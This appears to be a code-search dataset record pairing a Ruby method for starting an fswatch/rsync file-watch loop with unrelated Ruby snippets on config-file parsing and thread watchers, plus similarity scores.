"def import_config_content_from_file\n open(self.config_file) {|f| f.each_with_index do |line, i|\n\n line.strip!\n\n # force_encoding not available in all versions of ruby\n begin\n if i.eql? 0 and line.include?(\"\\xef\\xbb\\xbf\".force_encoding(\"UTF-8\"))\n line.delete!(\"\\xef\\xbb\\xbf\".force_encoding(\"UTF-8\"))\n end\n rescue NoMethodError\n end\n\n # validate if line is comment or not\n is_comment = false\n @comments.each do |comment|\n if (/^#{comment}/.match(line))\n is_comment = true\n break\n end\n end\n\n unless is_comment\n if(/#{@splitRegex}/.match(line))\n param, value = line.split(/#{@splitRegex}/, 2)\n var_name = \"#{param}\".chomp.strip\n\n # just in case value has trailing comments\n value = value.split('#').first.chomp.strip\n\n new_value = ''\n if (value)\n if value =~ /^['\"](.*)['\"]$/\n new_value = $1\n else\n new_value = value\n end\n end\n self.params[var_name] = new_value\n end\n end\n end}\n end",
"def output_config\n puts 'Using config file: ' + $CONFIG_FILE \n @conf.each { |key, value| puts key + \" = \" + value }\n end",
"def configure\n end",
"def initialize\n\n # Set some defaults\n self.auth_location = 'usa'\n self.use_service_net = 'false'\n self.retention_days = 7\n\n config_file = find_config_file\n raise \"Unable to find configuration file\" if config_file.nil?\n\n File.open(config_file, 'r') do |file|\n while (line = file.gets)\n key, value = line.strip.split('=', 2)\n send(:\"#{key}=\", value)\n end\n end\n\n end",
"def parse_config(\n config_file=File.expand_path(File.join(File.dirname(__FILE__), 'config.yml'))\n)\n require 'yaml'\n config = {\n 'sites' => \"sites\",\n 'webroot_subdir' => \"\",\n 'databases' => \"databases\",\n 'memory' => '2048',\n 'cpus' => '1',\n 'use_nfs' => true,\n 'with_gui' => false,\n 'ip' => \"192.168.50.4\",\n 'box_name' => 'Parrot-Trusty',\n 'varnish_enabled' => false,\n 'local_user_uid' => Process.uid,\n 'local_user_gid' => Process.gid,\n 'forward_solr' => true,\n 'forward_mysql' => true,\n 'forward_varnish' => true,\n 'forward_apache' => true,\n 'forward_https' => true,\n 'forward_dovecot' => true,\n 'solr_port' => 8983,\n 'mysql_port' => 3306,\n 'varnish_port' => 8181,\n 'apache_port' => 8080,\n 'https_port' => 1443,\n 'dovecot_port' => 1143,\n 'drush_version' => 'drush/drush',\n }\n if File.exists?(config_file)\n overrides = YAML.load_file(config_file)\n config.merge!(overrides)\n end\n config\nend",
"def installConfData(fname)\n\t\t$alog.lwrite('Parsing Installation info started ', 'INFO')\n\t\t@installData= Hash.new\n\t\th= YAML.load(File.read(fname))\n\t\t@installData.merge!(h)\n\t\tpwd=Dir.pwd\n\t\t@project= '/'+pwd.split('/')[-1] \t\t\t\t\t\t\t#current directory name\n\t\t@report_url= @project +@installData['repDir']\n\t\t@report_path= pwd+ @installData['repDir']+'/'\n\n\t\t@logDir= pwd+ @installData['logDir']\n\t\t@resource_url= '/Xover/resources/'\n\t\t@xoRepName= @installData['xoRepName']\n\tend",
"def configure_meggy\n unless config[:config_file]\n locate_config_file\n end\n # Don't try to load a meg.rb if it doesn't exist.\n if config[:config_file]\n Megam::Log.debug(\"Using configuration from #{config[:config_file]}\")\n read_config_file(config[:config_file])\n else\n # ...but do log a message if no config was found.\n Meggy::Config[:color] = config[:color]\n text.warn(\"No meg configuration file found\")\n end\n\n merge_configs\n apply_computed_config\n end",
"def load(config_file = DEFAULTS[:config_file])\n user_config_params = {}\n dirname = Dir.pwd\n if File.exists?(File.expand_path(config_file, Dir.pwd))\n begin\n config_file_path = File.expand_path config_file, Dir.pwd\n user_config_params = Psych.load(File.open(config_file_path))\n dirname = File.dirname config_file_path\n rescue ArgumentError => e\n raise Nimbus::WrongFormatFileError, \"It was not posible to parse the config file (#{config_file}): \\r\\n#{e.message} \"\n end\n end\n\n if user_config_params['input']\n @training_file = File.expand_path(user_config_params['input']['training'], dirname) if user_config_params['input']['training']\n @testing_file = File.expand_path(user_config_params['input']['testing' ], dirname) if user_config_params['input']['testing']\n @forest_file = File.expand_path(user_config_params['input']['forest' ], dirname) if user_config_params['input']['forest']\n @classes = user_config_params['input']['classes'] if user_config_params['input']['classes']\n else\n @training_file = File.expand_path(DEFAULTS[:training_file], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:training_file], Dir.pwd)\n @testing_file = File.expand_path(DEFAULTS[:testing_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:testing_file ], Dir.pwd)\n @forest_file = File.expand_path(DEFAULTS[:forest_file ], Dir.pwd) if File.exists? File.expand_path(DEFAULTS[:forest_file ], Dir.pwd)\n end\n\n @do_training = true unless @training_file.nil?\n @do_testing = true unless @testing_file.nil?\n @classes = @classes.map{|c| c.to_s.strip} if @classes\n\n if @do_testing && !@do_training && !@forest_file\n raise Nimbus::InputFileError, \"There is not random forest data (training file not defined, and forest file not found).\"\n end\n\n if user_config_params['forest']\n @forest_size = user_config_params['forest']['forest_size'].to_i if user_config_params['forest']['forest_size']\n @tree_SNP_total_count = user_config_params['forest']['SNP_total_count'].to_i if user_config_params['forest']['SNP_total_count']\n @tree_SNP_sample_size = user_config_params['forest']['SNP_sample_size_mtry'].to_i if user_config_params['forest']['SNP_sample_size_mtry']\n @tree_node_min_size = user_config_params['forest']['node_min_size'].to_i if user_config_params['forest']['node_min_size']\n @do_importances = user_config_params['forest']['var_importances'].to_s.strip.downcase\n @do_importances = (@do_importances != 'no' && @do_importances != 'false')\n end\n\n check_configuration\n log_configuration\n end",
"def clean_up_conf_file(conf_file_path)\n conf_items_patterns = { /^tools\\.remindInstall.*\\n/ => \"tools.remindInstall = \\\"FALSE\\\"\",\n /^uuid\\.action.*\\n/ => \"uuid.action = \\\"create\\\"\",\n /^ethernet\\.+generatedAddress.*\\n/ => '' }\n\n content = File.read conf_file_path\n content << \"\\n\"\n\n conf_items_patterns.each_pair do |pattern, new_item|\n unless content.include? new_item\n content.gsub(pattern, '').strip\n content << \"#{new_item}\\n\"\n end\n end\n\n File.open(conf_file_path, 'w') { |f| f.print content }\n end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configuration; end",
"def configure\n\n # config file default options\n configuration = {\n :options => {\n :verbose => false,\n :coloring => 'AUTO'\n },\n :mount => {\n :source => {\n :name => nil\n },\n :mountpoint => {\n :name => nil\n },\n :passphrasefile => {\n :name => 'passphrase'\n },\n :keyfile => {\n :name => 'encfs6.xml'\n },\n :cmd => nil,\n :executable => nil\n },\n :unmount => {\n :mountpoint => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n },\n :copy => {\n :source => {\n :name => nil\n },\n :destination => {\n :name => nil\n },\n :cmd => nil,\n :executable => nil\n }\n }\n\n # set default config if not given on command line\n config = @options[:config]\n unless config\n config = [\n File.join(@working_dir, \"revenc.conf\"),\n File.join(@working_dir, \".revenc.conf\"),\n File.join(@working_dir, \"config\", \"revenc.conf\"),\n File.expand_path(File.join(\"~\", \".revenc.conf\"))\n ].detect { |filename| File.exists?(filename) }\n end\n\n if config && File.exists?(config)\n # rewrite options full path for config for later use\n @options[:config] = config\n\n # load options from the config file, overwriting hard-coded defaults\n config_contents = YAML::load(File.open(config))\n configuration.merge!(config_contents.symbolize_keys!) if config_contents && config_contents.is_a?(Hash)\n else\n # user specified a config file?, no error if user did not specify config file\n raise \"config file not found\" if @options[:config]\n end\n\n # the command line options override options read from the config file\n @options = configuration[:options].merge!(@options)\n @options.symbolize_keys!\n\n # mount, unmount and copy configuration hashes\n @options[:mount] = configuration[:mount].recursively_symbolize_keys! if configuration[:mount]\n @options[:unmount] = configuration[:unmount].recursively_symbolize_keys! if configuration[:unmount]\n @options[:copy] = configuration[:copy].recursively_symbolize_keys! if configuration[:copy]\n end",
"def config=(value); end",
"def apply_computed_config\n Meggy::Config[:color] = config[:color]\n\n case Meggy::Config[:verbosity]\n when 0, nil\n Meggy::Config[:log_level] = :error\n when 1\n Meggy::Config[:log_level] = :info\n else\n Meggy::Config[:log_level] = :debug\n end\n\n Meggy::Config[:email] = config[:email] if config[:email]\n Meggy::Config[:api_key] = config[:api_key] if config[:api_key]\n\n # Expand a relative path from the config directory. Config from command\n # line should already be expanded, and absolute paths will be unchanged.\n Mixlib::Log::Formatter.show_time = false\n Megam::Log.init(Meggy::Config[:log_location])\n Megam::Log.level(Meggy::Config[:log_level] || :error)\n end",
"def config\n @config_file\n end"
] |
[
"0.7245451",
"0.72063315",
"0.71218544",
"0.69191295",
"0.6660201",
"0.6607126",
"0.6557703",
"0.6541967",
"0.65008277",
"0.6435856",
"0.64324546",
"0.6400171",
"0.6371877",
"0.6361896",
"0.63294077",
"0.6314053",
"0.62986827",
"0.6270945",
"0.6264758",
"0.62597334",
"0.62301093",
"0.6225819",
"0.62158346",
"0.620576",
"0.6196881",
"0.6191392",
"0.61912787",
"0.61728996",
"0.61616004",
"0.6142721",
"0.614253",
"0.6124336",
"0.61007595",
"0.60952145",
"0.6037371",
"0.6006118",
"0.600549",
"0.6004976",
"0.6002483",
"0.5998679",
"0.59652203",
"0.5961641",
"0.5957022",
"0.594928",
"0.59489185",
"0.59473205",
"0.5946562",
"0.59352326",
"0.592499",
"0.5919409",
"0.5912627",
"0.5909859",
"0.5909551",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.5894329",
"0.58902806",
"0.58852506",
"0.5884204",
"0.5881292",
"0.58793265",
"0.5875265",
"0.58739966",
"0.5854169",
"0.58268213",
"0.58196115",
"0.5816523",
"0.58157206",
"0.5815171",
"0.5810971",
"0.5807967",
"0.5794057",
"0.57771444",
"0.57681495",
"0.57663953",
"0.5765311",
"0.57610345",
"0.57609373",
"0.57609373",
"0.57609373",
"0.57609373",
"0.57609373",
"0.5759914",
"0.57577443",
"0.5754997",
"0.57533115"
] |
0.0
|
-1
|
Start a watch thread
|
def start_watch(source_path, remote_path, remote_host, rsync_options,
watch_id, post_sync_command = nil)
loop do
# fswatch options:
# -1: exit after one iteration
# -r: recurse
# -L: follow symlinks
# --event Updated/Removed/Created: only shows events that signify change
fswatch_options = '-1 -rL --event Updated --event Removed --event Created'
watch_cmd = "fswatch #{fswatch_options} \"#{source_path}\""
# fswatch command stops the thread until it exits, when it detects a change
`#{watch_cmd}`
# if there's no remote_host, there's no need for an rsync or loop, so return
return if remote_host.nil?
sync_msg(source_path, remote_path, remote_host, watch_id)
sync(source_path, remote_path, remote_host, rsync_options,
post_sync_command)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def start_watcher\n Thread.new{ loop{ watcher_cycle }}\n end",
"def start_watching\n @thread = Thread.new{ \n while true\n self.scan_now\n sleep @autoscan_delay\n end\n }\n end",
"def watch\n start_watch\n end",
"def watch!\n start_watch true\n end",
"def watch\n @monitor_thread ||= Thread.new { monitor_node }\n self\n end",
"def start_monitor\n @thread = Thread.start { monitor }\n end",
"def start\n @mthread = monitor\n end",
"def interact\n Thread.new do\n @mutex.synchronize do\n watch\n sleep(2)\n end\n\n if @start\n interact\n else\n puts 'monitoramento pausado...'\n end\n end\n end",
"def start\n return if @thread\n @thread = Thread.start do\n @fd = Inotify.init\n \n @watchers.each do |watch|\n watch.add_watch(@fd)\n end\n\n @filePtr = FFI::IO.for_fd(@fd)\n while true\n debug \" [+] @watch_thread listening for inotify events\"\n \n buffer = FFI::Buffer.alloc_out(Inotify::Event.size + 4096, 1, false)\n event = Inotify::Event.new buffer\n ready = IO.select([@filePtr], nil, nil, nil)\n n = Inotify.read(@fd, buffer, buffer.total)\n\n event_wd = event[:wd]\n event_mask = event[:mask]\n event_len = event[:len]\n\n debug \" [+] meta event message ignored.\" and next if event_len == 0\n \n # the filename is set after the event datastructure(16 bytes fixed)\n event_file = buffer.get_string(16) # 16 bytes offset\n\n debug \" [+] raw event notification wd(#{event_wd.inspect}) \" + \n \"len(#{event[:len]}) mask(#{event_mask}) \" +\n \"subject(#{event_file.inspect})\"\n\n @watchers.each do |watch|\n # process only if watch descriptor matches\n if event_wd == watch.wd\n watch.process(event_mask, event_file, @notify_targets)\n end\n end\n end\n debug \" [+] the watch thread is terminated.\"\n end # end thread\n end",
"def watchdog_thread\n @thr = Thread.new {\n while(true)\n watcher\n sleep(@interval)\n end\n }\n rescue\n false\n end",
"def start\n\t\t\t@thread = Thread.new do\n\t\t\t\twhile true\n\t\t\t\t\tupdate\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def join()\n @watchThread.join() if @watchThread\n end",
"def start_monitor\n self.monitor = monitor_thread if not self.monitor\n end",
"def join()\r\n @watchThread.join() if @watchThread\r\n end",
"def start\n puts \"Watcher RUNNING------------------->\"\n loop do\n unless (diff = build_file_list - @org_file_list).empty?\n # sleep 0.5\n diff.each do |meta|\n @callbacks[:new_file_created].call(meta[0])\n end\n exit\n end\n sleep 0.5\n end\n end",
"def start_poller\n @poller_thread = Thread.new { poll_changed_directories }\n end",
"def run\n watchers.each(&:run)\n \n self.running = true\n \n sleep_while_running\n ensure\n quit\n end",
"def watch(sketch, args)\n ensure_exists(sketch)\n spin_up('watch.rb', sketch, args)\n end",
"def start\n return unless stopped?\n @stopped = false\n Thread.new do\n until stopped?\n tick\n sleep 0.01\n end\n end\n end",
"def start_watching\n start_runner\n loop do\n if @files.detect { |file| File.exists?(file) && File.stat(file).mtime > @time }\n puts \"reloading sketch...\"\n $app && $app.close\n @time = Time.now\n GC.start\n start_runner\n reload_files_to_watch\n end\n sleep 0.33\n end\n end",
"def start_monitoring\n @scheduler.start()\n end",
"def start\n $stderr.puts \"Watching filesystem events in: #{@existing_parent}\"\n\n callback = Proc.new do |modified, added, removed|\n if added.any? {|i| File.fnmatch(@watch_path, i) }\n puts \"Added: #{@watch_path}\"\n exit 0\n end\n end\n\n listener = Listen.to(@existing_parent, ignore!: [], &callback)\n listener.start\n\n # Set trap so that we can break out of `sleep`\n Signal.trap(\"INT\") do\n puts \"Exiting...\"\n exit 4\n end\n\n sleep\n end",
"def watch_sketch\n ensure_exists(filename)\n spin_up('watch.rb', filename, argc)\n end",
"def watch_sketch\n ensure_exists(filename)\n spin_up('watch.rb', filename, argc)\n end",
"def start_thread #does this need to be its own thread?\n @@thread = Thread.new do\n self.run\n end\n end",
"def start\n @client.ping\n @state.set :run\n @thread ||= Thread.new{ work_loop }\n end",
"def start(&block)\r\n if isStarted? then\r\n raise RuntimeError, \"already started\"\r\n end\r\n\r\n setState(STARTED)\r\n\r\n @firstLoad = true\r\n @foundFiles = Hash.new()\r\n\r\n # we watch in a new thread\r\n @watchThread = Thread.new {\r\n # we will be stopped if someone calls stop or if someone set a stopWhen that becomes true\r\n while !isStopped? do\r\n if (!@directories.empty?) or (!@files.empty?) then \r\n # this will hold the list of the files we looked at this iteration\r\n # allows us to not look at the same file again and also to compare\r\n # with the foundFile list to see if something was deleted\r\n alreadyExamined = Hash.new()\r\n \r\n # check the files in each watched directory\r\n if not @directories.empty? then\r\n @directories.each { |dirObj|\r\n examineFileList(dirObj.getFiles(), alreadyExamined, &block)\r\n }\r\n end\r\n \r\n # now examine any files the user wants to specifically watch\r\n examineFileList(@files, alreadyExamined, &block) if not @files.empty?\r\n \r\n # see if we have to delete files from our found list\r\n if not @firstLoad then\r\n if not @foundFiles.empty? then\r\n # now diff the found files and the examined files to see if\r\n # something has been deleted\r\n allFoundFiles = @foundFiles.keys()\r\n allExaminedFiles = alreadyExamined.keys()\r\n intersection = allFoundFiles - allExaminedFiles\r\n intersection.each { |fileName|\r\n # callback\r\n block.call(DELETED, fileName)\r\n # remove deleted file from the foundFiles list\r\n @foundFiles.delete(fileName)\r\n } \r\n end\r\n else\r\n @firstLoad = false\r\n end\r\n end\r\n \r\n # go to sleep\r\n sleep(@sleepTime)\r\n end\r\n }\r\n \r\n # set the watch thread priority\r\n @watchThread.priority = @priority\r\n\r\n end",
"def start\n logger.info \"watchdog start\"\n @timer = every(@interval) do\n check\n end\n end",
"def start!\n start\n blocking_thread.join\n end",
"def start\n @dthread ||= Thread.new do\n prev_ptime = Time.now\n loop do\n break if Stella.abort? || stop?\n if (Time.now - prev_ptime).to_i >= @freq\n @routine.call\n prev_ptime = Time.now\n end\n sleep @rest\n end\n end\n @dthread.abort_on_exception = true\n end",
"def start(check)\n if @action_thread\n puts \"Start called for action already running!\"\n return\n end\n\n @action_thread = ControllableThread.new(@name) do\n begin\n\tif setup(check)\n # update the \"recently used\" list. \n RecentsManager.update(@name)\n\n\t check_for_pause\n\t run\n\tend\n rescue java.lang.InterruptedException => e\n\t# Nothing. \n rescue ThreadKilledException => e\n\t# Nothing. \n rescue Exception => e\n\tputs \"Action raised exception.\"\n\tputs e.to_s\n\tputs e.backtrace.join(\"\\n\")\n end\n @action_thread = nil\n stop\n release_all_locks\n check.set_selected(false)\n puts \"Thread for #{@name} completed.\"\n end\n\n\n end",
"def create_threaded_fsevent(watch_path, options, &action_block)\n fsevent = FSEvent.new\n running_jobs = Set.new\n\n fsevent.watch watch_path, options do |paths|\n paths.delete_if {|path| ignored?(path) }\n log.warn \"Detected change inside: #{paths.inspect}\" unless paths.empty?\n\n if running_jobs.length > 0\n log.warn \"A job is currently running for this watcher, killing...\"\n running_jobs.each {|thread| thread.kill }\n else\n log.warn \"Phew, no running jobs: #{running_jobs}\"\n end\n\n job = Thread.new do\n action_block.call(paths)\n Thread.exit\n end\n\n track_job_on_list(job, running_jobs)\n end\n\n fsevent\n end",
"def start\n while not @stopped\n puts \"Waiting for something to happen\"\n sleep 1\n end\n end",
"def method_missing(method, *args)\n args = [\"watch\", method.to_s] + args\n Wrapper.start(args)\n end",
"def starter\n @starter = Thread.new do\n sleep_interval(60)\n yield # starter proc in :start \n end\n end",
"def start\n activate\n @process_should_stop_mutex.synchronize do\n @process_should_stop = false\n end\n process_worker_thread\n process_monitor_thread\n end",
"def register_polling_thread\n @poll_thread = Thread.new { poll }\n end",
"def start!\n raise \"This timer cannot be started as it is already running!\" if @running\n @running = true\n @shutting_down = false\n @thread = Thread.new do\n begin\n if @one_shot\n sleep @timeout\n @block.call\n else\n loop do\n break if @shutting_down\n sleep @timeout\n @block.call\n end\n end\n rescue\n\n end\n end\n end",
"def start_in_background\n Thread.start { start }\n end",
"def stop_watching\n @thread.kill\n end",
"def run!\n @thread && @thread.alive? ? @thread : start!\n end",
"def start_watchdog!\n while true\n sleep 10\n @stream_parser.begin_read unless @stream_parser.alive?\n end\n end",
"def spawn_watch_thread\n @watch_thread = Thread.new do\n while true\n # If there are idle threads and we're above minimum\n if @queue.num_waiting > 0 && @worker_threads_count.value > @min_size # documented\n @killscore += THREADS_IDLE_SCORE * @queue.num_waiting\n \n # If there are no threads idle and we have room for more\n elsif(@queue.num_waiting == 0 && @worker_threads_count.value < @max_size) # documented\n @killscore -= THREADS_BUSY_SCORE * @queue.length\n \n else\n # Decay\n if @killscore != 0 # documented\n @killscore *= 0.9\n end\n if @killscore.abs < 1\n @killscore = 0\n end\n end\n if @killscore.abs >= @killthreshold\n @killscore > 0 ? kill_thread : spawn_thread\n @killscore = 0\n end\n Threadz.dputs \"killscore: #{@killscore}. waiting: #{@queue.num_waiting}. threads length: #{@worker_threads_count.value}. min/max: [#{@min_size}, #{@max_size}]\"\n sleep 0.1\n end\n end\n end",
"def start\n _init_actors\n unpause\n @stopping = false\n registry[:adapter].async.start\n Thread.new { _wait_for_changes }\n end",
"def start_thread\n @thread = @options[:sync] || Thread.new do\n begin\n loop do\n @status = :waiting_for_event\n process_event\n @event_queue.wait_for_new_event\n end\n rescue => e\n CFSM.logger.fatal \"#{e.class}: #{$!}\"\n Thread.main.raise e\n end\n end\n end",
"def watch_interval; end",
"def start\n puts \"Watching these files for changes #{glob}...\"\n configure_directory_watcher\n setup_graceful_exit\n \n directory_watcher.start.join\n end",
"def start_server\n @watchman = Thread.new {\n while !@stopped\n @pool_mutex.synchronize\n socket = @server.accept\n @pool << Thread.new(socket) {|socket|\n serve(socket)\n }\n end \n }\n end",
"def start\n return unless @state == :stopped\n @stop_requested = false\n @thread = Thread.new do\n process\n end\n\n @state = :started\n end",
"def start\n puts \"** quick_serve: scanning for files... \"\n # build a file collection\n find_files\n puts \"** quick_serve: watching #{files.size} files for changes... \"\n wait \n end",
"def watch\n\nend",
"def listen\n if @listener.nil? then\n @listener = Thread.new do\n loop do\n \t\t\t#sleep(0.001) # Why windows needs this, i don't know.\n @buffer = getd\n\t\t\t Thread.pass\n end\n end\n @listener.run\n\t\t $log.debug(\"Created new thread for \" + @params[\"make\"] + \" \" + @params[\"model\"])\n end\n end",
"def start_watch\n beanstalk.watch(@job_name)\n beanstalk.list_tubes_watched.each do |server, tubes|\n tubes.each { |tube| beanstalk.ignore(tube) unless tube == @job_name }\n end\n end",
"def start\n\n @stopped = false\n\n @scheduler_thread = Thread.new do\n\n Thread.current[:name] = @thread_name\n\n if defined?(JRUBY_VERSION)\n require 'java'\n java.lang.Thread.current_thread.name = @thread_name\n end\n\n loop do\n\n break if @stopped\n\n t0 = Time.now.to_f\n\n step\n\n d = Time.now.to_f - t0 # + @correction\n\n next if d > @precision\n\n sleep(@precision - d)\n end\n end\n end",
"def start\n return if @thread\n @thread = Thread.new do\n loop do\n sleep\n load_files\n end\n end\n end",
"def monitor\n return Thread.new do\n while true do\n Thread.list.each do |thr|\n joined = thr.join(1)\n end\n end\n end\n end",
"def start\n Thread.new do\n loop do\n @connection.wait_for_notify do |channel|\n @actions[channel].call\n end\n end\n end\n end",
"def start\n return if running?\n @running = true\n @thread = Thread.new {@server.start}\n end",
"def start\n Thread.new do\n loop do\n action, x, y = @monome.read\n toggle_led(x,y) if action == :keydown\n end\n end\n end",
"def start\n lock.synchronize do\n return if started.value\n\n started.value = true\n workers[:maintenance] = Thread.new { loop { check_timeouts } }\n workers[:listener] = Thread.new { loop { listen } }\n end\n end",
"def watch\n begin\n yield\n rescue Interrupt\n puts\n exit 0\n end\n end",
"def start\n _signals_trap\n _init_actors\n unpause\n Celluloid::Actor[:listen_adapter].async.start\n @thread = Thread.new { _wait_for_changes }\n end",
"def watcher\n zero_start = true \n loop do\n @polling_time.each do |time|\n break if @end_flag\n sleep_interval(time, zero_start)\n zero_start = false\n yield\n end\n break if @end_flag\n end\n end",
"def watch()\n merge(watch: 'true')\n end",
"def watch()\n merge(watch: 'true')\n end",
"def start\n while @mStatus <= 0\n connect\n monitor\n sleep 5\n end\n end",
"def run\n Thread.new {\n loop do\n @server.update(1000)\n break if @terminate\n end\n }\n end",
"def start_timer_thread\n @timer_thread = Thread.new do\n begin\n while !@stopped\n @worker_configs.each do |worker_config|\n worker_config.periodic_call(@poll_time)\n end\n sleep @poll_time\n end\n rescue Exception => e\n Qwirk.logger.error \"Timer thread failed with exception: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n end\n end\n end",
"def start\n return if @run\n @run = true\n @worker = Thread.new() do\n Datadog::Tracer.log.debug(\"Starting thread in the process: #{Process.pid}\")\n @last_flushed_services = nil\n next_send_services = Time.now\n\n # this loop assumes spans are flushed more often than services\n while @run\n callback_traces\n if Time.now >= next_send_services\n next_send_services = Time.now + @service_interval\n callback_services\n end\n sleep(@span_interval)\n end\n end\n end",
"def start\n mutex.synchronize do\n return unless stopped\n @stopped = false\n end\n\n start_worker\n start_poller\n end",
"def start_worker\n @worker = Thread.new do\n loop do\n fill_cache\n watch_to_update_cache\n rescue StandardError => e\n # need to keep retrying since we work in the background\n @logger&.error(\"ignoring error during background work #{e}\")\n ensure\n sleep(1) # do not overwhelm the api-server if we are somehow broken\n end\n end\n sleep(0.01) until @cache\n end",
"def start\n catch(:stop) do\n @poll_waiter.poll do\n read_events\n end\n end\n end",
"def watch_method; end",
"def bot_watch(event, url, css)\n event.respond 'okay! i will watch it..'\n @url = url\n @css = css\n @id = event.message.author.id\n\n quit_thread(event) unless @thread.nil?\n make_watcher(event)\n end",
"def monitor_thread\n Thread.new do\n begin\n while self.fd\n buff = self.fd.get_once(-1, 1.0)\n next if not buff\n store_data(buff)\n end\n rescue ::Exception => e\n self.monitor_thread_error = e\n end\n end\n end",
"def doWatch _obj, _args\n \"_obj doWatch _args;\" \n end",
"def start\n prepare\n loop do\n git_poller.poll\n sleep ws.config.daemon_polling_period\n end\n end",
"def watch(have_changed, waiting = nil)\n @watching = true\n\n while @watching\n if files_changed?\n @watching = have_changed.call(@changed, @event)\n end\n\n sleep(1)\n\n waiting.call if waiting\n end\n end",
"def start\n Thread.start do\n loop do\n begin\n self.register unless self.registered?\n rescue DRb::DRbConnError\n self.ring_server = nil\n rescue RuntimeError => e\n raise unless e.message == 'RingNotFound'\n end\n sleep @check_every\n end\n end\n end",
"def start\n stop\n @running = true\n @threads << broadcast_worker_loop\n @threads << read_worker_loop\n end",
"def watch_interval=(_arg0); end",
"def watch_file\n if sync_up? && (@watcher.nil? || !@watcher.alive?)\n BBLib.logger.debug(\"Spinning up a configuration watcher for #{path}\")\n @watcher = Thread.new do\n loop do\n break unless sync_up?\n if path && File.exist?(path) && File.mtime(path) > last_refresh\n reload\n end\n sleep(interval)\n end\n end\n end\n end",
"def start!\n start\n wait_until_terminated(nil)\n end",
"def start\n # trap_signals\n\n loop do\n runtime = Benchmark.realtime { perform }\n sleep(@interval - runtime) if runtime < @interval && !stop?\n\n break if stop?\n end\n end",
"def start_poll\n puts \"starting polling thread\"\n unless @poll_thread\n @poll_thread = Thread.start do\n while(true)\n begin\n trax = @queue.tracks.get\n index = trax.index(@itu.current_track.get)\n if index > 0\n (0..(index-1)).each do |i|\n puts \"current index: #{index}\" \n puts \"removed #{trax[i].name.get} from queue\"\n q_remove(trax[i].name.get)\n end\n end\n rescue\n puts $! \n end\n sleep(POLL_SLEEP)\n end\n end\n end\n end",
"def start\n with_mutex do\n if not running?\n @ticker.run\n end\n self\n end\n end",
"def spawn_monitor\n\t\t::Thread.new do\n\t\t\tbegin\n\n\t\t\t::Thread.current[:tm_name] = \"Thread Monitor\"\n\t\t\t::Thread.current[:tm_crit] = true\n\n\t\t\twhile true\n\t\t\t\t::IO.select(nil, nil, nil, 1.0)\n\t\t\t\tself.each_index do |i|\n\t\t\t\t\tstate = self[i].alive? rescue false\n\t\t\t\t\tself[i] = nil if not state\n\t\t\t\tend\n\t\t\t\tself.delete(nil)\n\t\t\tend\n\n\t\t\trescue ::Exception => e\n\t\t\t\telog(\"thread monitor: #{e} #{e.backtrace} source:#{self[:tm_call].inspect}\")\n\t\t\tend\n\t\tend\n\tend",
"def start\n loop do\n run\n end\n end",
"def start\n EM.synchrony do\n run\n end\n end",
"def starting(worker)\n end",
"def start_watch_files\n coffee_files.each do |file|\n @notifier.watch(file, :modify) do\n CoffeeCompiler.compile_file(file, true, true)\n end\n end\n end",
"def set_watch\n @watch = Watch.find(params[:id])\n end",
"def watch(*args, &block)\n yield\n end",
"def watch(&block)\n instance_eval(&block)\n add_watch_callbacks\n end",
"def watch(options, &block)\n new_thread = Thread.new do\n pin = PiPiper::Pin.new(options)\n loop do\n pin.wait_for_change \n if block.arity > 0\n block.call pin\n else\n pin.instance_exec &block\n end\n end \n end\n new_thread.abort_on_exception = true\n new_thread\n end",
"def start\n if status == 'stopped'\n @last_start = Time.now\n @sw_start = Time.now - @sw_time\n @status = 'running'\n end\n self\n end",
"def start_worker_thread\n @worker_threads << ControllableThread.new(@name + \"-worker\") {yield}\n end",
"def start\n Thread.new do\n connect = false\n until connect do\n begin\n call do |server| \n @server = server\n Waves::Logger.info \"#{self.class.basename} started on #{host}:#{port}.\"\n end\n rescue RuntimeError => e\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end\n end",
"def start_monitoring_connection\n @connection_monitor_thread ||= Thread.new{monitor_connection}\n @connection_monitor_thread.abort_on_exception = true\n end",
"def start_reporting\n @reporting = Thread.new {\n while @report\n puts @server_process.readlines\n end\n }\n end"
] |
[
"0.8071916",
"0.7824669",
"0.7782203",
"0.7703943",
"0.7517338",
"0.74257773",
"0.7293041",
"0.71746475",
"0.71254134",
"0.6934898",
"0.6845798",
"0.68199307",
"0.6794759",
"0.6777712",
"0.6588963",
"0.65659827",
"0.6536238",
"0.651477",
"0.64946926",
"0.646983",
"0.64641637",
"0.6443708",
"0.64024955",
"0.64024955",
"0.63946426",
"0.6316838",
"0.6310559",
"0.62753934",
"0.6264045",
"0.62633073",
"0.6259606",
"0.62492067",
"0.6225896",
"0.62177765",
"0.62082154",
"0.6198103",
"0.6196636",
"0.6187581",
"0.6177062",
"0.61739814",
"0.6168988",
"0.61618406",
"0.6151188",
"0.61385083",
"0.6116494",
"0.61126274",
"0.61075175",
"0.6095158",
"0.60878026",
"0.6084868",
"0.608461",
"0.60598695",
"0.60455763",
"0.6045219",
"0.60443866",
"0.60301244",
"0.6029548",
"0.6013801",
"0.6004552",
"0.60043716",
"0.6001827",
"0.59959775",
"0.5990247",
"0.5982214",
"0.5982214",
"0.59818447",
"0.5974272",
"0.59712625",
"0.5948646",
"0.5920174",
"0.59189785",
"0.59123594",
"0.58896023",
"0.5886222",
"0.5872637",
"0.5868716",
"0.5863101",
"0.5861576",
"0.5857531",
"0.585037",
"0.5842993",
"0.58403885",
"0.58206207",
"0.5810765",
"0.58042216",
"0.5790375",
"0.57814336",
"0.5778555",
"0.57577264",
"0.57521117",
"0.57471395",
"0.57430947",
"0.5735258",
"0.5720365",
"0.5717922",
"0.5713128",
"0.570982",
"0.5703815",
"0.5697878",
"0.569375"
] |
0.63439465
|
25
|
Returns an image tag for a Google Maps image with the GPS polyline of the activity.
|
def polyline_image(polyline, size = 150, color = "blue")
image_tag(polyline_map_url(polyline, size, color),
alt: "Activity map")
